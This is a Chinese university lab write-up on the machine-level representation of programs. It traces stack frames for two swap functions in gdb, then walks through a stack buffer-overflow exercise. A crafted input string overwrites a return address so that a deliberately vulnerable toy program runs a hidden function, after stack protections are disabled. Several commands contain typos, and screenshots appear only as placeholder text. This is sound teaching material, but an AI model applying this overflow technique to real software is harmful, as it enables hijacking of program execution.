参考教材:计算机系统基础 第二版 袁春风 机械工业出版社
参考慕课:计算机系统基础(四):编程与调试实践 https://www.icourse163.org/learn/NJU-1449521162

计算机系统实验导航

实验一:环境安装 https://blog.csdn.net/weixin_46291251/article/details/122477054

实验二:数据的存储与运算 https://blog.csdn.net/weixin_46291251/article/details/122478255

实验三:程序的机器级表示 https://blog.csdn.net/weixin_46291251/article/details/122478979

实验四:二进制程序逆向工程 https://blog.csdn.net/weixin_46291251/article/details/122479554

实验五:缓冲区溢出攻击 https://blog.csdn.net/weixin_46291251/article/details/122479798

实验六:程序的链接 https://blog.csdn.net/weixin_46291251/article/details/122480049

实验源码: xxx

准备

实验内容:
1 C 语句与机器级指令的对应关系,IA-32 基本指令的执行;
2 C 语言程序中过程调用的执行过程和栈帧结构;
3 缓冲区溢出攻击。
实验目标:
1 掌握程序的机器级表示相关概念;
2 理解 C 语言程序对应机器级指令的执行和过程调用实现;
3 掌握程序的基本调试方法和相关实验工具的运用。
实验任务:
1 学习 MOOC 内容
https://www.icourse163.org/learn/NJU-1449521162

  • 第四周 程序的机器级表示
    第 4 讲 控制转移指令
    第 5 讲 栈和过程调用
    第 6 讲 缓冲区溢出

2 完成作业

题目一:比较按值传递和按地址传递

对下列程序代码进行反汇编,指出过程调用中相关语句,比较按值传递参数和按地址传递参数,画出过程调用中栈帧结构图,并给出解释说明。

程序代码和注释说明
Swap.c

1.#include <stdio.h>
2.int swap(int x,int y)
3.{
4.    int t=x;
5.    x=y;
6.    y=t;
7.}
8.void main()
9.{
10.    int a=15, b=22;
11.    swap(a, b);
12.    printf("a=%d\tb=%d\n", a, b);
13.}

Swap2.c

1.#include <stdio.h>
2.
3.int swap(int *x,int *y)
4.{
5.    int t=*x;
6.    *x=*y;
7.    *y=t;
8.}
9.void main()
10.{
11.    int a=15, b=22;
12.    swap(&a,&b);
13.    printf("a=%d\tb=%d\n",a,b);
14.}

过程P调用过程Q的过程:
①P的准备阶段
②从P控制转移到Q: call指令
③Q的准备阶段
④执行Q的过程体( 函数体)
⑤Q的恢复阶段
⑥从Q返回到P: ret指令

实验结果记录
编译swap1,反汇编swap2并打开反汇编文档:
在这里插入图片描述

查看main函数中的swap对应的汇编代码:
在这里插入图片描述

其中:
前四个指令是过程调用的准备工作:将入口参数送入栈中。
Call指令用来实现swap过程的调用。
Add用来做过程调用的结束工作,回收入口参数的栈空间。

然后查看swap函数对应的反汇编代码:
在这里插入图片描述

其中:
前三条做过程体执行的准备工作,第一条保存调用者的ebp值,然后建立自己的栈空间,然后为自己的非静态变量分空间。
然后后面是过程体,做两个数的交换
最后用leave指令结束工作,回收栈空间,ret返回调用者。

下面用gdb调试这个程序:

将断点设置在main函数处,然后执行一条c语句,使得执行点停留在swap前面。
然后查看eip的值即为swap语句对应的位置。
再查看ebp,esp的值。
在这里插入图片描述

通过获取到的寄存器的值,查看当前的栈帧内容:
Main的栈帧就是ebp 和esp指向的栈空间。
在这里插入图片描述

观察分析上述栈帧结构,画出结构图:
在这里插入图片描述

然后执行call指令前面的几条指令:即
在这里插入图片描述

再次查看当前栈帧内容:
在这里插入图片描述

结构图为:
在这里插入图片描述

对比执行前的栈帧,可以发现这四个指令就是main调用swap的一个准备过程

然后执行call指令,再显示当前eip 、ebp 、esp 的内容,再显示当前栈帧内容:
在这里插入图片描述

Call指令将目标地址送入eip寄存器中,改变了程序执行的顺序,同时将下一跳指令的地址作为返回地址送入栈中。

然后程序执行进入swap过程:
执行Swap的前两条指令,显示ebp和esp的内容:
再显示当前栈帧和main栈帧的内容:
在这里插入图片描述

上面显示的单元内显示了main的栈帧空间。

Swap指令的第三条指令是一个减法指令,执行这条指令,然后显示当前的ebp和esp内容,显示当前栈帧内容
在这里插入图片描述

这依旧是过程调用的步骤三,swap的准备工作,给非静态局部变量分配栈空间。

然后执行三条c语句,实现两个变量值的交换,把程序的断点停留在leave之前:
然后显示当前的ebp和esp内容,显示当前栈帧内容

在这里插入图片描述

可以看出main栈帧中ab的值进行了交换,swap过程通过ab地址读写了ab的内容。

然后执行leave指令,然后显示当前的ebp和esp内容,显示当前栈帧内容
在这里插入图片描述

可以看出栈帧又还原为main的栈帧了,这就是过程调用的步骤5,即swap的结束工作:回收栈空间。
现在执行return指令,显示然后显示当前的eip、ebp和esp内容,显示当前栈帧内容。
在这里插入图片描述

可看出返回地址被弹出送入eip寄存器。程序从swap跳转到call的吓一条指令处,所以swap调用结束。

下一条指令是add指令,执行这条指令,通过观察栈帧,分析可知,其回收了入口参数的栈空间,即main的结束工作。

程序执行结束。

对按值传递的swap1程序也用同样的方法分析,经过对比可知:
在这里插入图片描述

按地址传递方式比按值传递方式多了lea地址传送指令,其是把a和b的地址作为入口参数传送进栈,在按值传送过程中仅仅把值传送进栈,过程调用中add和call指令是完全一致的。
在这里插入图片描述

在被调用的swap过程中前三条指令和后三条指令是一致的,即准备和结束工作是一样的。
但是过程体中的指令有区别,按地址传递方式使用入口参数的内容作为地址,用寄存器间接寻址方式读写了调用者a和b的内容。而按值传递方式仅仅是读写了入口参数中的内容,在过程调用结束的时候会回收入口参数栈空间,回收后相当于什么也没做。

题目二:缓冲区溢出

编译执行如下 C 语言程序(bug.c 和 hack.c),指出该程序的漏洞,对程序代码进行反汇编,采用 gdb 跟踪程序执行,分析程序执行过程中的栈帧结构,改变 hack.c 程序代码中的输入字符串 code,使程序转到攻击函数 hacker()执行。画出程序执行过程中的栈帧结构图,并给出解释说明。

程序代码和注释说明

C 语言程序 1:bug.c

1.#include <stdio.h>
2.#include "string.h"
3.void outputs(char *str)
4.{
5.    char buffer[16];
6.    strcpy(buffer, str);
7.    printf("%s\n", buffer);
8.}
9.
10.void hacker(void)
11.{
12.    printf("being hacked \n");
13.}
14.
15.int main(int argc, char *argv[])
16.{
17.    outputs(argv[1]);
18.    printf("yes cheney\n");
19.    return 1;
20.}

C 语言程序 2:hack.c

#include "stdio.h"
#include "string.h"
    char code[]="0123456789abcdef"
	"abcdabcd"
    "\x28\xfe\xff\xbf"
	"\x9c\x91\x04\x08"
	"\xd9\x91\x04\x08";

int main(void)
{
    char *arg[3];
    arg[0]= "./bug";
    arg[1]=code;
    arg[2]=NULL;
    execve(arg[0], arg, NULL);
    return 0;
}

实验结果记录

a2缓冲区溢出攻击程序的执行步骤:

1.关闭栈随机化(只需要执行一次)
sudo sysctl -w kernel.randomize _va_ space=0
2.编译程序,同时关闭栈溢出检测,生成32位应用程序,支持栈段可执行: ;
gcc -00 -m32 -g -fno-stack-protector -z execstack -no-pie -fno-pic a2.c -0 a2
gcc -00 -m32 -g -fno-stack-protector -z execstack -no-pie -fno-pic b.c-o b
3.反汇编并保存到文本文件
objdump-Sa2 > a2.txt
objdump-S b > b.txt
4.调试执行a2,完善a2.c中的code内容。
5.重新编译a2,修改填充的ebp值,要求与调试中b的main的ebp值一致。
6.执行./a2,观察执行结果。

由于实现设计到的指令较长且较多,故编写shell脚本自动化的完成以上工作,之后执行时只需要执行一次shell脚本即可。内容如下:

在这里插入图片描述

执行上述脚本之后,用gdb调试程序hack:
断点设置在main然后单步调试,直到当前语句停留在bug的main函数上,然后输出eip、ebp、esp的值,记录下ebp的值。

显示当前栈帧内容,这是当前main函数的栈帧范围。

在这里插入图片描述

然后继续执行程序,继续执行s命令看到进入了outputs过程,直至执行完字符串复制的库函数,然后显示当前的eip、ebp和esp内容。

查看bug.c 中hack的首地址,如下:
在这里插入图片描述

然后修改hack.c的内容如下:
填入随机的几个字符串用于填充缓冲区,然后填入上述ebp的值和hack的首地址,如下:

在这里插入图片描述

然后运行:
在这里插入图片描述

可见,成功进入hack函数bing执行。
但是hack过程执行ret指令时没有正确的返回地址,造成了段错误。

分析程序的执行过程可知:
正常执行hack程序时会执行位于bug程序的output函数,输出字符串后,该函数就会返回hack的main继续执行,但是进过如上的修改之后buffer赋值时会越界,用bug中hacker函数的首地址代替了outputs的返回地址,所以output执行结束时进入了hacker函数执行,从而完成了缓冲区溢出攻击,但是hacker结束之后没有正确的返回地址所以报段错误。
分析程序执行outputs时的栈帧结构可得如下结构图:
在这里插入图片描述

但是我们希望的过程是:hack的执行调用的bug的执行,bug调用outputs的执行,outputs的返回导致了hacker的执行,而hacker结束后返回到调用outputs的语句之后继续执行,这样就看不出执行过程中调用了hacker函数,完成了比较隐蔽的缓冲区溢出攻击,函数调用示意图如下:

在这里插入图片描述

下面继续改动hack.c从而实现上述过程:
经过以上分析,目前缺少的就是执行完hacker后无法转移到正确的地方继续执行,所以只需要在hacker返回地址处填写正确的地址即可。
需要返回的地址就是执行print语句前的一条指令的地址,查询反汇编文件可知:
在这里插入图片描述

先查询最新的ebp的值:

在这里插入图片描述

然后将新的ebp和该地址写入hack.c的字符串中,如图:

在这里插入图片描述

分析此时的栈帧结构可得如下栈帧结构图:
在这里插入图片描述

然后重新执行编译等操作,执行程序得:

在这里插入图片描述

可见:程序即被攻击(执行了hacker函数)又正确返回了(输出了正确的字符串),从而完成了缓冲区溢出攻击。
造成缓冲区溢出攻击的原因:程序没有对栈中作为缓冲区的buffer数组进行越界检查,给攻击者提供了一个漏洞。

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐